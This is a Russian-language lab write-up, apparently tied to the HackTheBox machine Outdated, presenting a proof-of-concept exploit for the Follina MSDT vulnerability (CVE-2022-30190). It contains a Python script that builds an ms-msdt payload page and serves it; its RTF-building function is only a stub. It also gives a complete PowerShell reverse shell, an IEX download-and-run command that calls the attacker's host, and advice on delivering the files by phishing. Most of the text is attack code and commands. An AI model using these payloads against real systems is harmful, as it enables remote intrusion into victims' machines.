
Автоматизированный эксплойт PoC для CVE-2022-30190 (Follina), который генерирует вредоносные RTF/DOCX-файлы, злоупотребляя протоколом MSDT для выполнения произвольных команд и развертывания reverse shell через PowerShell.
Follina (CVE-2022-30190) — это критическая уязвимость удалённого выполнения команд (RCE), затрагивающая средство диагностики поддержки Microsoft (MSDT). Изначально эта ошибка была обнаружена через вредоносный файл, найденный на VirusTotal, и получила своё название от исследователя Kevin Beaumont.
В контексте машины Outdated с HackTheBox эта уязвимость используется как основной вектор входа для получения доступа к системе.
Эксплуатация основана на злоупотреблении схемой протокола ms-msdt, позволяющей атакующему выполнять произвольный код путём загрузки внешних ресурсов. Атака может быть активирована простым открытием или предпросмотром специально созданного документа Office (DOCX) или файла в формате RTF.
Для автоматизации атаки рекомендуется использовать готовые скрипты Proof-of-Concept (PoC), доступные на таких платформах, как GitHub. Скрипт follina.py позволяет легко настроить полезную нагрузку.
Рекомендуемый репозиторий: упоминаются рабочие версии от исследователей, таких как John Hammond или Edge-Security.
python3 follina.py -m command -t rtf -c "comando_a_ejecutar"
Где:
-m указывает режим выполнения (command или binary)-t тип файла (rtf или docx)-c команда для внедренияЭффективный метод получения интерактивной консоли в Windows — внедрение команды PowerShell, которая загружает и запускает reverse shell из набора Nishang (Invoke-PowerShellTcp.ps1).
Скрипт эксплуатации генерирует вредоносный HTML-ресурс, содержащий инструкцию в Base64, и автоматически размещает его на локальном веб-сервере (порт 80). Вредоносный документ (click_me.rtf) будет указывать на этот URL, чтобы запустить процесс диагностики Windows и выполнить код.
В реалистичных сценариях или при аудите атакующий может отправить жертве ссылку на HTML-ресурс или вредоносный документ с помощью методов фишинга или по SMTP (с использованием таких инструментов, как swaks).
В момент взаимодействия пользователя (или автоматической задачи, обрабатывающей файл) MSDT интерпретирует полезную нагрузку и устанавливает обратное соединение с машиной атакующего.
Чтобы принять соединение, атакующий должен прослушивать (например, с помощью netcat или rlwrap) порт, указанный в reverse shell. После успешной эксплуатации получается интерактивная консоль с привилегиями пользователя, выполнившего действие, что позволяет перейти к локальной перечислительной разведке и повышению привилегий.
follina.pyЭтот скрипт автоматизирует создание вредоносного файла (RTF или DOCX), генерирует HTML-ресурс, эксплуатирующий схему протокола ms-msdt, и поднимает локальный сервер для раздачи полезной нагрузки.
follina.pyimport argparse
import base64
import http.server
import socketserver
import os
import threading
# Estructura basada en la investigación de Kevin Beaumont y las PoC mencionadas [2, 6]
def generate_payload(command):
# El comando debe estar codificado en Base64 para ser procesado por MSDT [5]
command_b64 = base64.b64encode(command.encode()).decode()
# Payload que abusa del protocolo ms-msdt [5]
# Se utiliza una cadena larga de caracteres para llenar el buffer y gatillar la ejecución
payload = f"""<script>
location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \\"IT_RebrowseForFile=psh /../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe /../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe $([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('{command_b64}')))\\"";
// Relleno adicional para asegurar el procesamiento
""" + ("A" * 4096) + "</script>"
return payload
def create_rtf(filename, server_url):
# Genera un archivo RTF que apunta al recurso HTML externo [3, 4]
print(f"[*] Generando archivo malicioso: {filename}")
# Nota: En una implementación real, aquí se inyecta el OLE object que apunta a server_url
with open(filename, "w") as f:
f.write(f"Archivo RTF configurado para conectar a {server_url}/exploit.html")
def run_server(port):
handler = http.server.SimpleHTTPRequestHandler
with socketserver.TCPServer(("", port), handler) as httpd:
print(f"[*] Servidor HTTP activo en el puerto {port} [7]")
httpd.serve_forever()
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="PoC Follina (CVE-2022-30190)")
parser.add_argument("-m", "--mode", choices=["command", "binary"], default="command", help="Modo de ejecución [3]")
parser.add_argument("-t", "--type", choices=["rtf", "docx"], default="rtf", help="Tipo de archivo a generar [3]")
parser.add_argument("-c", "--command", required=True, help="Comando a ejecutar en el sistema víctima [3]")
parser.add_argument("-p", "--port", type=int, default=80, help="Puerto del servidor local [7]")
args = parser.parse_args()
# 1. Crear el payload HTML
html_content = generate_payload(args.command)
with open("index.html", "w") as f:
f.write(html_content)
# 2. Crear el documento malicioso
filename = f"click_me.{args.type}"
create_rtf(filename, "http://tu_ip_atacante")
# 3. Iniciar el servidor para recibir la petición [4, 7]
run_server(args.port)
Критически важные параметры: как описано в источниках, скрипт использует -m для режима, -t для типа файла и -c для команды.
Внедрение PowerShell: распространённый приём, показанный в обучении s4vitar, — внедрение команды PowerShell, которая загружает и запускает reverse shell из Nishang (Invoke-PowerShellTcp.ps1) для получения интерактивного доступа.
Выполнение: атака активируется, когда жертва открывает или просто просматривает вредоносный файл (RTF/DOCX), из-за чего система пытается загрузить HTML-ресурс и выполнить команду через средство диагностики Microsoft (MSDT).
Прослушивание: вы должны прослушивать (например, с помощью netcat) порт, указанный в вашей reverse shell, чтобы принять соединение после срабатывания эксплойта на машине жертвы.
Invoke-PowerShellTcp.ps1 (Nishang)Скрипт Invoke-PowerShellTcp.ps1 — один из наиболее часто используемых инструментов набора Nishang для получения reverse shell в системах Windows.
Оригинальный скрипт загружается из официального репозитория Nishang на GitHub. Типичные шаги по его использованию:
wget.reverse.ps1 или ps.ps1, чтобы упростить вызов с машины жертвы.Чтобы превратить скрипт в самовыполняющуюся полезную нагрузку, в конец файла .ps1 добавляется строка следующего вида:
Invoke-PowerShellTcp -Reverse -IPAddress <TU_IP_ATACANTE> -Port <TU_PUERTO>
Где <TU_IP_ATACANTE> и <TU_PUERTO> должны быть заменены на ваши данные для прослушивания (например, 10.10.14.29 и 443).
$client = New-Object System.Net.Sockets.TCPClient('<IP>',<PUERTO>);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};
$client.Close()
(Примечание: этот код повторяет логику "gitbash" и интерактивных терминалов, упомянутых при разборе таких машин, как Compiled).
Когда атакующий разместил скрипт на локальном HTTP-сервере (порт 80), на машине жертвы используется команда IEX (Invoke-Expression) для загрузки и выполнения скрипта непосредственно в памяти, не касаясь диска:
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://<TU_IP>/reverse.ps1')"
Этот метод имеет ключевое значение при эксплуатации таких уязвимостей, как Follina, или при получении начального доступа после компрометации веб-сервисов. После выполнения атакующий принимает соединение в сессии прослушивающего netcat.
Pwned!!!